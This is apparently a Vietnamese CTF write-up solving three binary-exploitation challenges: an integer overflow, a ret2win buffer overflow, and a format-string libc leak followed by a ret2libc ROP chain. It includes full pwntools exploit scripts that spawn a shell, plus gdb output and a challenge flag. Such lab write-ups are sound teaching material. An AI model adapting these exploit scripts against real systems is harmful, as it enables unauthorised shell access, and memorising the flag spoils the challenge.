> Author: [Kinabler](https://www.facebook.com/KevilPham1801) # Challenge 1 (Ethical Poker Club) [+] [Source](https://battle.cookiearena.org/challenges/binary-exploitation/ethical-poker-club) Ở bài này tồn tại 1 lỗ hổng: Integer Overflow để chúng ta có thể khai thác.<br> Với chức năng **rechange money** và **withdraw money**. Do bài đã chứa sẵn 1 số liệu integer overflow nên sẽ không phải làm bất cứ điều gì cả.<br> Press 3 --> Yes.<br> `EHC{1nt3g3r_0v3rfl0w_k180123a201023}` # Challenge 2 (Earn much money ?) [+] [Source](https://battle.cookiearena.org/challenges/binary-exploitation/earn-much-money) Khi debug chương trình tôi thấy 1 hàm success với câu lệnh `system("sh")`. Và có 1 lỗi chương trình tôi có thể khai thác ở đây: Đó là **Ret2Win**. <br> Tiến hành khai thác. Tôi thấy mình không thể ret đến đầu hàm `success` được vì có đoạn code: `mov 0x0, ebp` nó sẽ gây ra lỗi chương trình và sẽ không bao giờ chạy được. Bởi vậy tôi sẽ jump ra đằng sau của nó. Và ở đây tôi có script để khai thác bài này.(bạn có thể tắt gdb.attach đi trước khi chạy): ```python from pwn import * elf = context.binary = ELF("./source") r = elf.process() gdb.attach(r, ''' b* main+154\n c ''') payload = b"a"*40 + p64(0x000000000040115e) r.sendlineafter(b"login:", payload) r.interactive() ``` # Challenge 3 (EHC_Library) [+] [Source](https://battle.cookiearena.org/challenges/binary-exploitation/ehc-library) Ở bài này, tôi thu thập được 2 lỗi: `Format String` và `Buffer OverFlow`.<br> Và do chương trình không có hàm win, bởi vậy tôi sẽ dùng kĩ thuật: `ROPgadget + Leak Libc`.<br> Để làm được bài này bạn cần xác định được những thứ sau:<br> * Do tồn tại lỗi **format String** nên tôi đoán là phải dùng các **ROPgadget** từ libc. * Dùng lỗi **format string** để leak được địa chỉ libc và tính toán 1 xíu ta được địa chỉ libc base. * Tìm kiếm các **ROPgadget** từ libc và sử dụng nó để khai thác và lấy shell. ## I. Format String. Tôi chạy chương trình đến lỗi Format String. ```js 0x40140b <other+107> call printf@plt <printf@plt> format: 0x7fffffffddf0 ◂— 0xa7026393125 /* '%19&p\n' */ vararg: 0x1 0x401410 <other+112> lea rax, [rip + 0xf22] 0x401417 <other+119> mov rdi, rax 0x40141a <other+122> call puts@plt <puts@plt> 0x40141f <other+127> nop 0x401420 <other+128> leave 0x401421 <other+129> ret 0x401422 <main> endbr64 0x401426 <main+4> push rbp 0x401427 <main+5> mov rbp, rsp 0x40142a <main+8> mov rax, qword ptr [rip + 0x2c3f] <stdin@GLIBC_2.2.5> ``` Sau đó dùng `stack 19`: ```js pwndbg> stack 19 00:0000│ rdi rsp 0x7fffffffddf0 ◂— 0xa7026393125 /* '%19&p\n' */ 01:0008│ 0x7fffffffddf8 ◂— 0x0 02:0010│ 0x7fffffffde00 —▸ 0x7ffff7f9f600 (_IO_file_jumps) ◂— 0x0 03:0018│ 0x7fffffffde08 —▸ 0x7ffff7e1362d (_IO_file_setbuf+13) ◂— test rax, rax 04:0020│ 0x7fffffffde10 ◂— 0x0 05:0028│ 0x7fffffffde18 ◂— 0xa007ffff7ffe2e0 06:0030│ rbp 0x7fffffffde20 —▸ 0x7fffffffde40 —▸ 0x7fffffffde50 ◂— 0x1 07:0038│ 0x7fffffffde28 —▸ 0x401323 (book+140) ◂— jmp 0x401335 08:0040│ 0x7fffffffde30 —▸ 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 09:0048│ 0x7fffffffde38 ◂— 0x400401294 0a:0050│ 0x7fffffffde40 —▸ 0x7fffffffde50 ◂— 0x1 0b:0058│ 0x7fffffffde48 —▸ 0x401498 (main+118) ◂— jmp 0x401484 0c:0060│ 0x7fffffffde50 ◂— 0x1 0d:0068│ 0x7fffffffde58 —▸ 0x7ffff7db2d90 (__libc_start_call_main+128) ◂— mov edi, eax 0e:0070│ 0x7fffffffde60 ◂— 0x0 0f:0078│ 0x7fffffffde68 —▸ 0x401422 (main) ◂— endbr64 10:0080│ 0x7fffffffde70 ◂— 0x100000000 11:0088│ 0x7fffffffde78 —▸ 0x7fffffffdf68 —▸ 0x7fffffffe223 ◂— '/mnt/d/OneDrive/Desktop/HoLACTF/ROP_Libc_leak/source' 12:0090│ 0x7fffffffde80 ◂— 0x0 ``` Để ý phần offset 0x0068. Tôi thấy có 1 địa chỉ libc.<br> ```js //Dùng vmmap trên gdb để xem phần này 0x7ffff7d86000 0x7ffff7d89000 rw-p 3000 0 [anon_7ffff7d86] 0x7ffff7d89000 0x7ffff7db1000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7db1000 0x7ffff7f46000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f46000 0x7ffff7f9e000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f9e000 0x7ffff7fa2000 r--p 4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7fa2000 0x7ffff7fa4000 rw-p 2000 218000 /usr/lib/x86_64-linux-gnu/libc.so.6 ``` Vậy tôi có thể có được địa chỉ `libc` của nó bằng cách lấy libc mà tôi tìm được trên stack trừ đi khoảng cách với `libc.base`: `0x7ffff7db2d90 - 0x7ffff7d89000 = 0x29d90 (bằng khoảng cách mà tôi nói ở trên)`.<br> Qua đó tôi có được script đoạn này: ```python from pwn import * elf = context.binary = ELF("./source") r = elf.process() libc = elf.libc def send_book(payload:bytes): r.sendline(payload) ############# # Leak Libc # ############# r.sendline(b"4") send_book(b"%19$p") r.recvuntil(b"I can not find book: \n") libc.address = int(r.recvline(),16) - 0x29d90 log.success(f"LIBC Base: {hex(libc.address)}") ``` Dùng script này để lấy được libc và khai thác tiếp cái libc của nó để tìm ra các gadget: ```js └$ ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret" 0x000000000009c2a9 : add byte ptr [rbx + rcx*4 + 0x15], cl ; pop rdi ; retf 0x00000000001bc10b : or al, ch ; pop rdi ; ret 0xffe6 0x000000000002a3e5 : pop rdi ; ret 0x00000000001bc10d : pop rdi ; ret 0xffe6 0x000000000008eef5 : pop rdi ; retf ``` địa chỉ mà bạn thấy ở trên là các offset và bạn phải cộng nó với `libc.base` thì mới ra được địa chỉ thật.<br> và script dưới đây là để tìm ra 2 hàm `system` và chuỗi `/bin/sh`: ```python system = libc.sym["system"] binsh = next(libc.search(b"/bin/sh")) ``` Vậy tổng kết lại tôi có 1 script hoàn chỉnh sau để khai thác: ```python from pwn import * elf = context.binary = ELF("./source") r = elf.process() libc = elf.libc def send_book(payload:bytes): r.sendline(payload) ############# # Leak Libc # ############# r.sendline(b"4") send_book(b"%19$p") r.recvuntil(b"I can not find book: \n") libc.address = int(r.recvline(),16) - 0x29d90 log.success(f"LIBC Base: {hex(libc.address)}") ################ # ROP gadget # ################ pop_rdi_ret = 0x000000000002a3e5 + libc.address ret = pop_rdi_ret + 1 system = libc.sym["system"] binsh = next(libc.search(b"/bin/sh")) ########### # Execute # ########### r.sendline(b"4") payload = b"a" * 56 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system) send_book(payload) r.interactive() ``` Hãy nhớ là bạn phải chạy trên Ubuntu 22.04 vì bài này sử dụng thư viện của ubuntu 22.04 để load libc. ```bash $ ls Dockerfile exp.py flag.txt ```